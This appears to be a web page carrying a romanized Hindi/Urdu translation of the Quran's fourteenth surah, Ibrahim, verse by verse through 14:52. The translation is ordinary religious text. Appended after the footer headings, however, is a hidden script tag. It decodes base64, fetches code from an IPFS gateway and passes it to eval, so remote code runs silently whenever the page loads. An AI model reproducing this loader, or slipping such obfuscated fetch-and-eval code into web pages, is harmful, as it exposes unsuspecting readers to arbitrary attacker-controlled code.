इब्राहिम
ibrahim - 52 ayatean, 7 ruku, makka soora
ibrahim islam dharm ke pavitr granth quran ka 14vaan soora (adhyay) hai jisamean 52 ayatean hoti haian.
14:1 - alif lam ra ai rasool ye (quran vah) kitab hai jisako hamane tumhare pas isalie nazil kiya hai ki tum logoan ko paravaradigar ke hukm se (kuphr ki) tariki se (eeman ki) raushani mean nikal lao garaz usaki rah par lao jo sab par galib aur sazavar hamd hai
14:2 - vah khuda ko kuchh asamanoan mean aur jo kuchh zamin mean hai (garaz sab kuchh) usi ka hai aur (akhirat mean) kaphiroan ko lie jo sakht azab (muhayya kiya gaya) hai afasos nak hai
14:3 - vah kuphphar jo duniya ki (chand roza) zindagi ko akhirat par tarajih dete haian aur (logoan) ko khuda ki rah (par chalane) se rokate haian aur isamean khvah ma khvah kazi paida karana chahate haian yahi log b de palle darje ki gumarahi mean haian
14:4 - aur hamane jab kabhi koee paigambar bheja to usaki qaum ki zaban mean batean karata hua (taki usake samane (hamare ehaqam) bayan kar sake to yahi khuda jise chahata hai gumarahi mean chho d deta hai aur jis ki chahata hai hidayat karata hai vahi sab par galib hikamat vala hai
14:5 - aur hamane moosa ko apani nishaniyaan dekar bheja (aur ye hukm diya) ki apani qaum ko (kuphr ki) tarikiyoan se (eeman ki) raushani mean nikal lao aur unhean khuda ke (vah) din yad dilao (jinamean khuda ki b di b di kudaratean zahir huee) isamean shaq nahian isamean tamam sabr shukr karane valoan ke vaste (kudarate khuda ki) bahut si nishaniyaan haian
14:6 - aur vah (vakt yad dilao) jab moosa ne apani qaum se kaha ki khuda ne jo ehasan tum par kie haian unako yad karo jab akele tumako phiraun ke logoan (ke zulm) se najat di ki vah tum ko bahut b de b de du:kh de ke satate the tumhara l dakoan ko jabah kar dalate the aur tumhari auratoan ko (apani khidamat ke vaste) jinda rahane dete the aur isamean tumhara paravaradigar ki taraph se (tumhara sabr ki) b di (sakht) azamaish thi
14:7 - aur (vah vakt yad dilao) jab tumhare paravaradigar ne tumhean jata diya ki agar (mera) shukr karogean to mai yaqinan tum par (neamat ki) jyadati karuanga aur agar kahian tumane nashukri ki to (yad rakho ki) yaqinan mera azab sakht hai
14:8 - aur moosa ne (apani qaum se) kah diya ki agar aur (tumhare sath) jitane rue zamin par haian sab ke sab (milakar bhi khuda ki) nashukri karo to khuda (ko zara bhi paravah nahian kyoanki vah to bilkul) be niyaz hai
14:9 - aur hamd hai kya tumhare pas un logoan ki khabar nahian pahuanchi jo tumase pahale the (jaise) nooh ki qaum aur ad v samood aur (doosare log) jo unake bad hue (kyokar khabar hoti) unako khuda ke siva koee janata hi nahian unake pas unake (vakt qe) paigambar maujize lekar ae (aur samajhane lage) to un logoan ne un paigambaroan ke hathoan ko unake muanh par ulata mar diya aur kahane lage ki jo (hukm lekar) tum khuda ki taraph se bheje ge ho ham to usako nahian manate aur jis (din) ki taraph tum hamako bulate ho b de gahare shaq mean p de hai
14:10 - (tab) unake paigambaroan ne (unase) kaha kya tum ko khuda ke bare mean shaq hai jo sare asaman v zamin ka paida karane vala (aur) vah tumako apani taraph bulata bhi hai to isalie ki tumhare gunah maph kar de aur ek vakt muqarrar tak tumako (duniya mean chain se) rahane de vah log bol uthe ki tum bhi bas hamare hi se adami ho (achchha) ab samajhe tum ye chahate ho ki jin maboodoan ki hamare bap dada parasatish karate the tum hamako unase baz rakho achchha agar tum sachche ho to koee saf khula hua sarihi maujiza hame la dikhao
14:11 - unake paigambaroan ne unake javab mean kaha ki isamean shaq nahian ki ham bhi tumhare hi se adami haian magar khuda apane bandoan mean jis par chahata hai apana phazal (v karam) karata hai (aur) risalat ata karata hai aur hamare ekhtiyar me ye bat nahian ki be hukme khuda (tumhari pharamaish ke muvaphiq) ham koee maujiza tumhare samane la sakean aur khuda hi par sab eemanadaroan ko bharosa rakhana chahie
14:12 - aur hamean (akhir) kya hai ki ham us par bharosa n karean hal aauki hame (nijat ki) asan rahean dikhaee aur jo toone aziyatean hamean pahuanchai (un par hamane sabr kiya aur ainda bhi sabr karegean aur tavakkal bharosa karane valo ko khuda hi par tavakkal karana chahie
14:13 - aur jin logoan nean kuphr ekhtiyar kiya tha apane (vakt qe) paigambaroan se kahane lage ham to tumako apani sarazamin se zarur nikal bahar kar degean yahaan tak ki tum phir hamare mazahab ki taraph palat ao-to unake paravaradigar ne unaki taraph vahi bheji ki tum ghabaraoan nahian ham un sarakash logoan ko zarur barbad karegean
14:14 - aur unaki halakat ke bad zarur tumhi ko is sarazamin mean basaegean ye (vayada) mahaz us shakhsh se jo hamari baragah mean (amal ki javab dehi mean) kh de hone se dare
14:15 - aur hamare azab se khauph khae aur un paigambaroan ham se apani phateh ki dua maangi (akhir vah poori huee)
14:16 - aur har ek sarakash adavat rakhane vala halak hua (ye to unaki saza thi aur usake pichhe hi pichhe jahannum hai aur usamean) se pip lahoo bhara hua pani pine ko diya jaega
14:17 - (zabaradasti) use ghooant ghant karake pina p dega aur use halaq se asani se n utar sakega aur (vah musibat hai ki) use har taraph se maut hi maut ati dikhaee deti hai hal aauki vah mare n mar sakega-aur phir usake pichhe azab sakht hoga
14:18 - jo log apane paravaradigar se kaphir ho baithe haian unaki masal aisi hai ki unaki karastaniyaan goya (rakh ka ek dher) hai jise (andh d ke roz hava ka b de zoroan ka jhoanka u da lega jo kuchh un logoan ne (duniya mean) kiya karaya usamean se kuchh bhi unake qaboo mean n hoga yahi to palle darje ki gumarahi hai
14:19 - kya toone nahian dekha ki khuda hi ne sare asaman v zamin zarur masalahat se paida kie agar vah chahe to sabako mitakar ek nee khilaqat (basti) la basae
14:20 - au ye khuda par kuchh bhi dushavar nahian
14:21 - aur (qayamat ke din) log sabake sab khuda ke samane nikal kh de hogean jo log (duniya mean kamazor the b di ijzat rakhane valo se (us vakt) qaheangean ki ham to bas tumhare qadam b qadam chalane vale the to kya (aj) tum khuda ke azab se kuchh bhi hamare a de a sakate ho vah javab degean kash khuda hamari hidayat karata to ham bhi tumhari hidayat karate ham khvah beqarari karean khvah sabr kare (dono) hamare lie barabar hai (kyoanki azab se) hamean to ab chhutakara nahian
14:22 - aur jab (logoan ka) khair phaisala ho chukega (aur log shaitan ko ilzam degean) to shaitan kahega ki khuda ne tum se sachcha vayada kiya tha (to vah poora ho gaya) aur maine bhi vayada to kiya tha phir maine vayada khilafi ki aur mujhe kuchh tum par hukoomat to thi nahian magar itani bat thi ki maine tum ko (bure kamoan ki taraph) bulaya aur tumane mera kaha man liya to ab tum mujhe buanra (bhala) n kaho balki (agar kahana hai to) apane naphs ko bura kaho (aj) n to maian tumhari phariyad ko pahuancha sakata hooan aur n tum meri phariyad kar sakate ho mai to usase pahale hi bezar hooan ki tumane mujhe (khuda ka) sharik banaya beshak jo log napharaman haian unake lie dardanak azab hai
14:23 - aur jin logoan ne (sadaq dil se) eeman qubool kiya aur achchhe (achchhe) kam kie vah (behasht ke) un bagoan mean dakhil kie jaeangean jinake niche nahare jari hogi aur vah apane paravaradigar ke hukm se hamesha usamean rahegean vahaan un (ki mulaqat) ka tohapha salam ka ho
14:24 - (ai rasool) kya tumane nahian dekha ki khuda ne achchhi bat (masalan kalama tauhid ki) vaisi achchhi misal bayan ki hai ki (achchhi bat) goya ek pakiza darakht hai ki usaki j d mazaboot hai aur usaki tahaniyaan asaman mean lagi ho
14:25 - apane paravaradigar ke hukm se har vakt fala (phoola) rahata hai aur khuda logoan ke vaste (isalie) misalean bayan pharamata hai taki log nasihat v ibarat hasil karean
14:26 - aur gandi bat (jaise kalamae shirk) ki misal goya ek gande darakht ki si hai (jisaki j d aisi kamazor ho) ki zamin ke oopar hi se ukha d pheanka jae (kyoanki) usako kuchh thaharao to hai nahian
14:27 - jo log pakki bat (kalama tauhid) par (sadaq dil se eeman la chuke unako khuda duniya ki zindagi mean bhi sabit qadam rakhata hai aur akhirat mean bhi sabit qadam rakhega (aur) unhean saval v javab mean koee vakt n hoga aur sarakashoan ko khuda gumarahi mean chho d deta hai aur khuda jo chahata hai karata hai
14:28 - (ai rasool) kya tumane un logoan ke hal par gaur nahian kiya jinhoanne mere ehasan ke badale nashukri ki ekhtiyar ki aur apani qaum ko halakat ke gharavahe (jahannum) mean jhoank diya
14:29 - ki sabake sab jahannum vasil hogean aur vah (kya) bura thikana hai
14:30 - aur vah log doosaro ko khuda ka hamasar (barabar) banane lage taki (logoan ko) usaki rah se bahaka de (ai rasool) tum kah do ki (khair chand roz to) chain kar lo phir to tumhean dozakh ki taraph laut kar jana hi hai
14:31 - (ai rasool) mere vah bande jo eeman la chuke un se kah do ki pabandi se namaz padha karean aur jo kuchh hamane unhean rozi di hai usamean se (khuda ki rah mean) chhipakar ya dikha kar kharch kiya kare us din (qayamat) ke ane se pahal jisamean n to (kharido) pharokht hi (kam aegi) n dosti mohabbat kam (aegi)
14:32 - khuda hi aisa (qadir tavana) hai jisane sare asaman v zamin paida kar dale aur asaman se pani barasaya phir usake zarie se (mukhtaliph darakhtoan se) tumhari roza ke vaste (tarah tarah) ke phal paida kie aur tumhare vaste kashtiyaan tumhare bas mean kar di-taki usake hukm se dariya mean chalean aur tumhare vaste nadiyoan ko tumhare ekhtiyar mean kar diya
14:33 - aur sooraj aur chaand ko tumhara tabedar bana diya ki sada pheri kiya karate haian aur rat aur din ko tumhare qabze mean kar diya ki hamesha hazir rahate haian
14:34 - (aur apani zarurat ke muvaphik) jo kuchh tumane usase maanga usamean se (tumhari zaroorat bhar) tumhe diya aur tum khuda ki nemato ginati karana chahate ho to gin nahian sakate ho too b da be insaph nashukra hai
14:35 - aur (vah vakt yad karo) jab ibarahim ne (khuda se) arz ki thi ki paravaradigar is shahar (makke) ko aman v aman ki jagah bana de aur mujhe aur meri aulad ko is bat ko bacha le ki butoan ki parasatish karane lage
14:36 - ai mere palane vale isamean shaq nahian ki in butoan ne bahutere logoan ko gumarah bana chho da to jo shakhsh meri pairavi kare to vah mujh se hai aur jisane meri nafaramani ki (to tujhe ekhteyar hai) too to b da bakhshane vapala meharaban hai)
14:37 - ai hamare palane vale maine tere muaziz (ijzat vale) ghar (kabe) ke pas ek bekheti ke (viran) biyaban (makka) mean apani kuchh aulad ko (lakar) basaya hai taki ai hamare palane vale ye log barabar yahaan namaz padha karean to too kuchh logoan ke diloan ko unaki taraph mael kar (taki vah yahaan akar abad hoan) aur unhean tarah tarah ke phaloan se rozi ata kar taki ye log (tera) shukr karean
14:38 - ai hamare palane vale jo kuchh ham chhipate haian aur jo kuchh zahir karate haian too (sabase) khoob vaqiph hai aur khuda se to koee chiz chhipi nahian (n) zamin mean aur n asaman mean us khuda ka (lakh lakh) shukr hai
14:39 - jisane mujhe budhapa ane par ismaeel v isahaq (do pharazand) ata kie isamean to shaq nahian ki mera paravaradigar dua ka sunane vala hai
14:40 - (ai mere palane vale mujhe aur meri aulad ko (bhi) namaz ka paband bana de aur ai mere palane vale meri dua qubool pharama
14:41 - ai hamare palane vale jis din (amal ka) hisab hone lage mujhako aur mere maan bap ko aur sare eemanadaroan ko too bakhsh de
14:42 - aur jo kuchh ye kuphfar (kuphfare makka) kiya karate haian unase khuda ko gaphil n samajhana (aur un par phauran azab n karane ki) sirph ye vajah hai ki us din tak ki mohalat deta hai jis din logoan ki aauankhoan ke dhele (khauph ke mare) pathara jaeangean
14:43 - (aur apane apane sar uthae bhage chale ja rahe haian (takataki bandhi hai ki) unaki taraph unaki nazar nahian lautati (jidhar dekh rahe haian) aur unake dil hava hava ho rahe haian
14:44 - aur (ai rasool) logoan ko us din se darao (jis din) un par azab nazil hoga to jin logoan ne napharamani ki thi (gi dagi da kar) arz karegean ki ai hamare palane vale ham ko tho di si mohalat aur de de (abaki bar) ham tere bulane par zarur uth kh de hogean aur sab rasooloan ki pairavi karegean (to unako javab milega) kya tum vah log nahian ho jo usake pahale (us par) qasamean khaya karate the ki tum ko kisi tarah ka zavval (nuksan) nahian
14:45 - (aur kya tum vah log nahian ki) jin logoan ne (hamari nafaramani karake) ap apane oopar julm kiya unhian ke gharoan mean tum bhi rahe hal aauki tum par ye bhi zahir ho chuka tha ki hamane unake sath kya (baratao) kiya aur hamane (tumhare samajhane ke vaste) masale bhi bayan kar di thian
14:46 - aur vah log apani chalean chalate haian (aur kabhi baz n ae) hal aauki unaki sab halatean khuda ki nazar mean thi aur agarache unaki makkariyaan (us gazab ki) thian ki un se paha d (apani jagah se) hat jaye
14:47 - to tum ye khyal (bhi) n karana ki khuda apane rasooloan se khilaf vayada karega isamean shaq nahian ki khuda (sabase) zabaradast badala lene vala hai
14:48 - (magar kab) jis din ye zamin badalakar doosari zamin kar di jaegi aur (isi tarah) asaman (bhi badal die jaeangean) aur sab log yakata qahar (zabaradast) khuda ke rubaru (apani apani jagah se) nikal kh de hogean
14:49 - aur tum us din gunehagaroan ko dekhoge ki zaziroan me jak de hue hogean
14:50 - unake (badan ke) kap de qataran (tarakol) ke hoge aur unake cheharoan ko ag (har taraph se) dhake hogi
14:51 - taki khuda har shakhsh ko usake kie ka badala de (achchha to achchha bura to bura) beshak khuda bahut jald hisab lene vala hai
14:52 - ye (quran) logoan ke lie ek qism ki ittela (janakari) hai taki log usake zariye se (azabe khuda se) darae jae aur taki ye bhi ye yaqin jan lean ki bas vahi (khuda) ek mabood hai aur taki jo log akl vale haian nasihat v ibarat hasil karean
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>